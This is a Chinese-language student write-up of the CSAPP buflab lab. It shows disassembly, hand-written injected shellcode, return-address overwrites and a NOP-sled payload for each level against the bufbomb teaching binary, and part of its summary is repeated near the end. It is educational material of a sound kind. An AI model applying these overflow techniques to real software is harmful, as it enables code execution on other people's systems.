注：查看全文請關注作者，或點擊前往：CSAPP-buflab

buflab

實驗目的

? 詳細了解IA-32呼叫慣例和堆疊結構，它涉及對lab目錄中的可執行檔案bufbomb應用一系列緩沖區溢位攻擊，

實驗環境和工具

? ubuntu 12.04.5 (32位) ；

? gdb 7.4 ；

實驗內容及操作步驟

準備作業

閱讀Readme.txt和buflab-writeup.pdf的前幾頁

按照Readme.txt的要求，任意輸入一個字符作為userid，使用makecookie生成cookie，我這里輸入的字符為h，得到cookie:0x20083f2f，

在linux下解壓buflab-handout.tar.gz

Level 0: Candle (10 pts)

void test() 
{
	int val;
	/* Put canary on stack to detect possible corruption */ 
	volatile int local = uniqueval();
	
	val = getbuf();
	
	/* Check for corrupted stack */ 
	if (local != uniqueval()) {
		printf("Sabotaged!: the stack has been corrupted\n"); 
	}
    else if (val == cookie) {
		printf("Boom!: getbuf returned 0x%x\n", val); 
		validate(3);
	} 
	else {
		printf("Dud: getbuf returned 0x%x\n", val);
    }
}

目標：

? 讓BUFBOMB在getbuf執行其return陳述句時執行smoke的代碼，而不是回傳test，

? 注意：利用漏洞字串還可能損壞堆疊中與此階段不直接相關的部分，但這不會導致問題，因為冒煙會導致程式直接退出，

分析：

? getbuf()的反匯編代碼：

Dump of assembler code for function getbuf:
   0x08049262 <+0>:		push   %ebp
   0x08049263 <+1>:		mov    %esp,%ebp
   0x08049265 <+3>:		sub    $0x38,%esp
   0x08049268 <+6>:		lea    -0x28(%ebp),%eax
   0x0804926b <+9>:		mov    %eax,(%esp)
   0x0804926e <+12>:	call   0x8048c32 <Gets>
   0x08049273 <+17>:	mov    $0x1,%eax
   0x08049278 <+22>:	leave  						;恢復舊ebp
   0x08049279 <+23>:	ret    						;回傳地址出堆疊，存盤在eip中
End of assembler dump.

由lea -0x28(%ebp),%eax和mov %eax,(%esp)可知，ebp-0x28的地址為Gets()函式的引數，Gets()將以該地址為起點向地址增大的方向保存字符，getbuf()的部分堆疊幀示意圖如下：

因此需要將getbuf()的回傳地址覆寫為smoke()第一條陳述句的地址，smoke()的匯編代碼如下：

Dump of assembler code for function smoke:
   0x08048e0a <+0>:		push   %ebp
   0x08048e0b <+1>:		mov    %esp,%ebp
   0x08048e0d <+3>:		sub    $0x18,%esp
   0x08048e10 <+6>:		movl   $0x804a2fe,0x4(%esp)
   0x08048e18 <+14>:	movl   $0x1,(%esp)
   0x08048e1f <+21>:	call   0x8048990 <__printf_chk@plt>
   0x08048e24 <+26>:	movl   $0x0,(%esp)
   0x08048e2b <+33>:	call   0x8049280 <validate>
   0x08048e30 <+38>:	movl   $0x0,(%esp)
   0x08048e37 <+45>:	call   0x80488d0 <exit@plt>
End of assembler dump.

首地址為0x08048e0a，由于0x0a為'\n'，故選用0x08048e0b注入，

構造的字串為（40+4）個字符（除了0x0a以外的任意字符），再加上0b 8e 04 08(小端法)，txt檔案如下：

結果：

Level 1: Sparkler (10 pts)

void fizz(int val) 
{
	if (val == cookie) 
    { 
        printf("Fizz!: You called fizz(0x%x)\n", val); 
        validate(1);
	} else 
        printf("Misfire: You called fizz(0x%x)\n", val); 
    exit(0); 
}

目標：

? 與Level 0類似，讓BUFBOMB執行fizz的代碼，而不是回傳test，但是，您必須使它看起來像fizz，就好像傳遞了cookie作為它的引數，

分析：

fizz的反匯編代碼：

Dump of assembler code for function fizz:
   0x08048daf <+0>:		push   %ebp					;esp=esp-4
   0x08048db0 <+1>:		mov    %esp,%ebp			;保存esp的值到ebp
   0x08048db2 <+3>:		sub    $0x18,%esp
   0x08048db5 <+6>:		mov    0x8(%ebp),%eax		;引數=M[ebp+8]
   0x08048db8 <+9>:		cmp    0x804d104,%eax
   0x08048dbe <+15>:	jne    0x8048de6 <fizz+55>
   0x08048dc0 <+17>:	mov    %eax,0x8(%esp)
   0x08048dc4 <+21>:	movl   $0x804a2e0,0x4(%esp)
   0x08048dcc <+29>:	movl   $0x1,(%esp)
   0x08048dd3 <+36>:	call   0x8048990 <__printf_chk@plt>
   0x08048dd8 <+41>:	movl   $0x1,(%esp)
   0x08048ddf <+48>:	call   0x8049280 <validate>
   0x08048de4 <+53>:	jmp    0x8048dfe <fizz+79>
   0x08048de6 <+55>:	mov    %eax,0x8(%esp)
   0x08048dea <+59>:	movl   $0x804a4d4,0x4(%esp)
   0x08048df2 <+67>:	movl   $0x1,(%esp)
   0x08048df9 <+74>:	call   0x8048990 <__printf_chk@plt>
   0x08048dfe <+79>:	movl   $0x0,(%esp)
   0x08048e05 <+86>:	call   0x80488d0 <exit@plt>
End of assembler dump.

由mov 0x8(%ebp),%eax可知，此時ebp+0x8的地址保存的是fizz()的引數，其余類似Level0，更改getbuf()的回傳地址為fizz()的入口地址后，進入fizz()前的部分堆疊幀示意圖如下，進入fizz()后，esp的值加4，之后push %ebp，esp的值減4，再由mov %esp,%ebp，我們可以確定fizz()的引數的地址，
構造字串為（40+4）個字符（除了0x0a以外的任意字符），加上af 8d 04 08（fizz()的入口地址，小端法），再加上4個字符
（除了0x0a以外的任意字符），最后加上cookie：2f 3f 08 20（小端法），txt檔案如下：

結果：

Level 2: Firecracker (15 pts)

int global_value = 0;
void bang(int val) {
	if (global_value == cookie) { 
        printf("Bang!: You set global_value to 0x%x\n", global_value); 
        validate(2);
	} else 
        printf("Misfire: global_value = 0x%x\n", global_value);
	exit(0); 
}

目標：

? 與級別0和1類似，讓BUFBOMB執行bang的代碼，而不是回傳test，但在此之前，必須將全域變數global_value設定為用戶id的cookie，攻擊代碼應該設定全域變數，將bang的地址推送到堆疊上，然后執行ret指令以跳轉到bang的代碼，

分析:

bang的反匯編代碼：

Dump of assembler code for function bang:
   0x08048d52 <+0>:		push   %ebp
   0x08048d53 <+1>:		mov    %esp,%ebp
   0x08048d55 <+3>:		sub    $0x18,%esp
   0x08048d58 <+6>:		mov    0x804d10c,%eax
   0x08048d5d <+11>:	cmp    0x804d104,%eax			;比較地址0x804d10c和0x804d104所存的值
   0x08048d63 <+17>:	jne    0x8048d8b <bang+57>
   0x08048d65 <+19>:	mov    %eax,0x8(%esp)
   0x08048d69 <+23>:	movl   $0x804a4ac,0x4(%esp)
   0x08048d71 <+31>:	movl   $0x1,(%esp)
   0x08048d78 <+38>:	call   0x8048990 <__printf_chk@plt>
   0x08048d7d <+43>:	movl   $0x2,(%esp)
   0x08048d84 <+50>:	call   0x8049280 <validate>
   0x08048d89 <+55>:	jmp    0x8048da3 <bang+81>
   0x08048d8b <+57>:	mov    %eax,0x8(%esp)
   0x08048d8f <+61>:	movl   $0x804a2c2,0x4(%esp)
   0x08048d97 <+69>:	movl   $0x1,(%esp)
   0x08048d9e <+76>:	call   0x8048990 <__printf_chk@plt>
   0x08048da3 <+81>:	movl   $0x0,(%esp)
   0x08048daa <+88>:	call   0x80488d0 <exit@plt>
End of assembler dump.

查看地址0x804d10c的值和0x804d104的值，得到它們分別為global_value和cookie的值，

而getbuf中的ebp位置為0x55683610（如下圖），顯然無法直接覆寫，

故可以撰寫匯編代碼，然后把它們轉換為字符編碼放入堆疊中，以完成需要的操作，匯編代碼如下：

/*bang.s*/
mov 	0x804d104,%eax	/*將cookie保存到eax*/
mov 	%eax,0x804d10c	/*將global_value設定為cookie的值*/
push	$0x08048d52		/*bang的函式入口地址入堆疊*/
ret						/*回傳，進入bang函式*/

通過指令將.s檔案編譯為.o檔案，查看反匯編代碼，共16個位元組：
我們可以把這段代碼從buf的起始位置開始存放，而把getbuf的回傳地址更改為buf的起始地址，以執行這段代碼，經除錯getbuf，buf的起始地址為：0x556835b8，
更改后的堆疊幀示意圖如下：
故注入的字串為代碼的字符編碼（共16個位元組）+28個位元組（除了0x0a以外的任意字符）+b8 35 68 55（buf的起始地址的小端法表示），txt檔案如下：

結果：

Level 3: Dynamite (20 pts)

test的c代碼如下：

void test() 
{
	int val;
	/* Put canary on stack to detect possible corruption */ 
	volatile int local = uniqueval();
	
	val = getbuf();
	
	/* Check for corrupted stack */ 
	if (local != uniqueval()) {
		printf("Sabotaged!: the stack has been corrupted\n"); 
	}
    else if (val == cookie) {
		printf("Boom!: getbuf returned 0x%x\n", val); 
		validate(3);
	} 
	else {
		printf("Dud: getbuf returned 0x%x\n", val);
    }
}

test的匯編代碼如下：

Dump of assembler code for function test:
   0x08048e3c <+0>:		push   %ebp
   0x08048e3d <+1>:		mov    %esp,%ebp
   0x08048e3f <+3>:		push   %ebx
   0x08048e40 <+4>:		sub    $0x24,%esp
   0x08048e43 <+7>:		call   0x8048c18 <uniqueval>
   0x08048e48 <+12>:	mov    %eax,-0xc(%ebp)
   0x08048e4b <+15>:	call   0x8049262 <getbuf>
   0x08048e50 <+20>:	mov    %eax,%ebx
   0x08048e52 <+22>:	call   0x8048c18 <uniqueval>
   0x08048e57 <+27>:	mov    -0xc(%ebp),%edx
   0x08048e5a <+30>:	cmp    %edx,%eax
   0x08048e5c <+32>:	je     0x8048e74 <test+56>
   0x08048e5e <+34>:	movl   $0x804a460,0x4(%esp)
   0x08048e66 <+42>:	movl   $0x1,(%esp)
   0x08048e6d <+49>:	call   0x8048990 <__printf_chk@plt>
   0x08048e72 <+54>:	jmp    0x8048eba <test+126>
   0x08048e74 <+56>:	cmp    0x804d104,%ebx
   0x08048e7a <+62>:	jne    0x8048ea2 <test+102>
   0x08048e7c <+64>:	mov    %ebx,0x8(%esp)
   0x08048e80 <+68>:	movl   $0x804a31a,0x4(%esp)
   0x08048e88 <+76>:	movl   $0x1,(%esp)
   0x08048e8f <+83>:	call   0x8048990 <__printf_chk@plt>
   0x08048e94 <+88>:	movl   $0x3,(%esp)
   0x08048e9b <+95>:	call   0x8049280 <validate>
   0x08048ea0 <+100>:	jmp    0x8048eba <test+126>
   0x08048ea2 <+102>:	mov    %ebx,0x8(%esp)
   0x08048ea6 <+106>:	movl   $0x804a337,0x4(%esp)
   0x08048eae <+114>:	movl   $0x1,(%esp)
   0x08048eb5 <+121>:	call   0x8048990 <__printf_chk@plt>
   0x08048eba <+126>:	add    $0x24,%esp
   0x08048ebd <+129>:	pop    %ebx
   0x08048ebe <+130>:	pop    %ebp
   0x08048ebf <+131>:	ret    
End of assembler dump.

目標：

? 提供一個漏洞字串，該字串將導致getbuf將cookie回傳到test，而不是值1，可以在test的代碼中看到，這將導致程式運行“Boom！”，

? 漏洞字串將cookie設定為回傳值的同時，應恢復任何損壞的狀態，在堆疊上設定正確的回傳地址，并執行ret指令以真正回傳test，

分析：

getbuf的回傳值保存在eax中，故注入的字串應執行操作將getbuf中eax的值設為cookie的值，同時回傳到test的call 0x8049262 <getbuf>之后的位置，同時注入buf時應讓保存的舊ebp保持原值不變，

撰寫匯編代碼如下：

mov		$0x20083f2f,%eax	/*將cookie的值保存在eax中*/
push	$0x08048e50			/*test的call <getbuf>之后的地址入堆疊*/
ret							/*回傳*/

輸入指令，反匯編得機器碼如下，共11個位元組：
我們可以把這段代碼從buf的起始位置開始存放，而把getbuf的回傳地址更改為buf的起始地址，以執行這段代碼，與Level 2一樣，buf的起始地址為：0x556835b8，
同時舊ebp應保持原值不變，除錯查看得getbuf保存的ebp的值為0x55683610

故更改后的getbuf的部分堆疊幀如下：
故注入的字串為代碼的字符編碼（共11個位元組）+29個位元組（除了0x0a以外的任意字符）+10 36 68 55（原ebp的值，小端法表示）+b8 35 68 55（buf的起始地址的小端法表示），txt檔案如下：

結果：

Level 4: Nitroglycerin (10 pts)

testn的匯編代碼如下

Dump of assembler code for function testn:
   0x08048cce <+0>:		push   %ebp
   0x08048ccf <+1>:		mov    %esp,%ebp
   0x08048cd1 <+3>:		push   %ebx
   0x08048cd2 <+4>:		sub    $0x24,%esp
   0x08048cd5 <+7>:		call   0x8048c18 <uniqueval>
   0x08048cda <+12>:	mov    %eax,-0xc(%ebp)
   0x08048cdd <+15>:	call   0x8049244 <getbufn>
   0x08048ce2 <+20>:	mov    %eax,%ebx
   0x08048ce4 <+22>:	call   0x8048c18 <uniqueval>
   0x08048ce9 <+27>:	mov    -0xc(%ebp),%edx
   0x08048cec <+30>:	cmp    %edx,%eax
   0x08048cee <+32>:	je     0x8048d06 <testn+56>
   0x08048cf0 <+34>:	movl   $0x804a460,0x4(%esp)
   0x08048cf8 <+42>:	movl   $0x1,(%esp)
   0x08048cff <+49>:	call   0x8048990 <__printf_chk@plt>
   0x08048d04 <+54>:	jmp    0x8048d4c <testn+126>
   0x08048d06 <+56>:	cmp    0x804d104,%ebx
   0x08048d0c <+62>:	jne    0x8048d34 <testn+102>
   0x08048d0e <+64>:	mov    %ebx,0x8(%esp)
   0x08048d12 <+68>:	movl   $0x804a48c,0x4(%esp)
   0x08048d1a <+76>:	movl   $0x1,(%esp)
   0x08048d21 <+83>:	call   0x8048990 <__printf_chk@plt>
   0x08048d26 <+88>:	movl   $0x4,(%esp)
   0x08048d2d <+95>:	call   0x8049280 <validate>
   0x08048d32 <+100>:	jmp    0x8048d4c <testn+126>
   0x08048d34 <+102>:	mov    %ebx,0x8(%esp)
   0x08048d38 <+106>:	movl   $0x804a2a6,0x4(%esp)
   0x08048d40 <+114>:	movl   $0x1,(%esp)
   0x08048d47 <+121>:	call   0x8048990 <__printf_chk@plt>
   0x08048d4c <+126>:	add    $0x24,%esp
   0x08048d4f <+129>:	pop    %ebx
   0x08048d50 <+130>:	pop    %ebp
   0x08048d51 <+131>:	ret    
End of assembler dump.

目標：

? 在Nitro模式下運行時，BUFBOMB要求提供字串5次，它將執行getbufn 5次，每次都有不同的堆疊偏移量，

? 與Level3相同，Level4要求提供一個漏洞字串，該字串將導致getbufn將cookie回傳到testn，而不是值1，可以在testn的代碼中看到，這將導致程式進入“KABOOM！”，攻擊代碼需要將cookie設定為回傳值，同時應恢復任何損壞的狀態，在堆疊上設定正確的回傳地址，并執行ret指令以真正回傳testn，

分析：

getbufn的匯編代碼如下：

Dump of assembler code for function getbufn:
   0x08049244 <+0>:		push   %ebp
   0x08049245 <+1>:		mov    %esp,%ebp
   0x08049247 <+3>:		sub    $0x218,%esp
   0x0804924d <+9>:		lea    -0x208(%ebp),%eax		
   0x08049253 <+15>:	mov    %eax,(%esp)
   0x08049256 <+18>:	call   0x8048c32 <Gets>
   0x0804925b <+23>:	mov    $0x1,%eax
   0x08049260 <+28>:	leave  
   0x08049261 <+29>:	ret    
End of assembler dump.

ebp-0x208的地址為Gets()函式的引數，Gets()將以該地址為起點向地址增大的方向保存字符，
通過除錯，觀察每次執行testn時的ebp，以及對應的getbufn的ebp的變化，
觀察到testn的ebp是變化的，最大值為0x55683680，最小值為0x556835a0，差值為0xE0（224），getbufn的ebp同樣是變化的，最大值為0x55683650，最小值為0x55683570，對應的buf起始地址最大值為0x55683448，最小值為0x55683368，由于我們注入的回傳地址是固定的，故我們注入的回傳地址須不小于0x55683468，否則可能出現buf覆寫的地址都大于設定的回傳地址，從回傳地址向高地址執行命令時執行了未知命令的情況，
類似于Level3，我們從更改后的回傳地址開始執行指令，由于設定的回傳地址不小于0x55683448，當buf的起始地址小于設定的回傳地址時，就需要想辦法使注入的攻擊代碼出現在回傳地址的高處，我們就設定回傳地址為0x55683448，則buf起始地址的最小值相差了224個位元組，這就需要至少填充224個位元組的nop指令（nop指令只使程式計數器加1），從而在任何情況下都能使CPU將指令至少執行到注入的攻擊代碼（若填充00，則CPU無法識別，無法進行后續操作），
而testn的ebp是不斷的變化的，無法像Level3一樣在記憶體中注入固定的值恢復保存的ebp，但我們可以找到getbufn的ebp與testn的ebp的關系，即前者比后者小了0x30，我們的攻擊代碼是在getbufn的leave、ret指令之后執行的，在這兩次指令后，esp的值變為getbufn的ebp+0x8，而本身的ebp變為保存的ebp的值（但被buf溢位覆寫），故此時，我們可以根據這個關系：testn的ebp=esp+0x28撰寫注入的代碼，

注入的代碼如下：

mov		$0x20083f2f,%eax	/*將cookie的值保存在eax中*/
lea		0x28(%esp),%ebp		/*恢復保存的ebp的值*/
push	$0x08048ce2			/*testn的call <getbuf>之后的地址入堆疊*/
ret							/*回傳*/

輸入指令，反匯編得機器碼如下，共15個位元組：

可以得到堆疊幀的示意圖：
getbufn的ebp-0x208為buf的起始地址，0x208為520，故注入的字串為509個nop（0x90）+15個位元組的攻擊代碼+48 34 68 55(修改的回傳地址，小端法表示)，txt檔案如下：

結果：

實驗總結

這次實驗的難度隨級別的提高而增加，引導我們如何利用緩沖區存在的漏洞實作一些目的：

Level0：利用直接覆寫回傳地址，在呼叫函式getbuf時直接回傳smoke函式，讓我們初步認識緩沖區溢位攻擊的原理，

Level1：在Level0的基礎上，多了修改函式引數的操作，這需要我們結合匯編代碼找到引數的位置，

Level2：開始需要我們自己撰寫匯編代碼段去實作操作：修改回傳值、設定全域變數、跳轉，同時也需要利用緩沖區溢位，跳轉至這段代碼的起始地址，

Level3：同時利用自己撰寫的代碼設定回傳值并回傳至test函式，需要覆寫buf時要保持函式保存的舊ebp不變，

Level4：每次呼叫getbufn的目的與Level3一致，不同的是它的ebp不斷變化，需要找到等式關系去撰寫代碼以修正而ebp，難點還在于多次呼叫使堆疊基址隨機化，這需要利用弄nop_sled的技術，

通過學習、理解如何實作緩沖區溢位攻擊，我對函式呼叫、堆疊幀空間的分配、nop_sled的使用等相關知識有了更加深刻的理解，
在實驗的部分地方需要對運行程序進行除錯，查看某個暫存器的值及其變化，所以gdb工具的使用是不可或缺的，通過完成這次實驗，我對gdb工具的使用更加熟練，
進行實驗，細心和耐心也是很重要的品質，有時候會因為不夠細心而耽誤時間，如Level4中我因為看錯了ebp的值，使得第一次嘗試沒有通過，但好在能夠通過除錯發現錯誤之處，并加以改正，有了細心和耐心的加持，才能更好地完成一個個實驗，識訓知識，提升技能，

代碼段去實作操作：修改回傳值、設定全域變數、跳轉，同時也需要利用緩沖區溢位，跳轉至這段代碼的起始地址，

Level3：同時利用自己撰寫的代碼設定回傳值并回傳至test函式，需要覆寫buf時要保持函式保存的舊ebp不變，

Level4：每次呼叫getbufn的目的與Level3一致，不同的是它的ebp不斷變化，需要找到等式關系去撰寫代碼以修正而ebp，難點還在于多次呼叫使堆疊基址隨機化，這需要利用弄nop_sled的技術，

通過學習、理解如何實作緩沖區溢位攻擊，我對函式呼叫、堆疊幀空間的分配、nop_sled的使用等相關知識有了更加深刻的理解，

在實驗的部分地方需要對運行程序進行除錯，查看某個暫存器的值及其變化，所以gdb工具的使用是不可或缺的，通過完成這次實驗，我對gdb工具的使用更加熟練，
進行實驗，細心和耐心也是很重要的品質，有時候會因為不夠細心而耽誤時間，如Level4中我因為看錯了ebp的值，使得第一次嘗試沒有通過，但好在能夠通過除錯發現錯誤之處，并加以改正，有了細心和耐心的加持，才能更好地完成一個個實驗，識訓知識，提升技能，

轉載請註明出處，本文鏈接：https://www.uj5u.com/qita/374575.html

標籤：其他

上一篇：Day02 基礎入門-資料包擴展

下一篇：CTF攻防世界之我在里面當炮灰（1）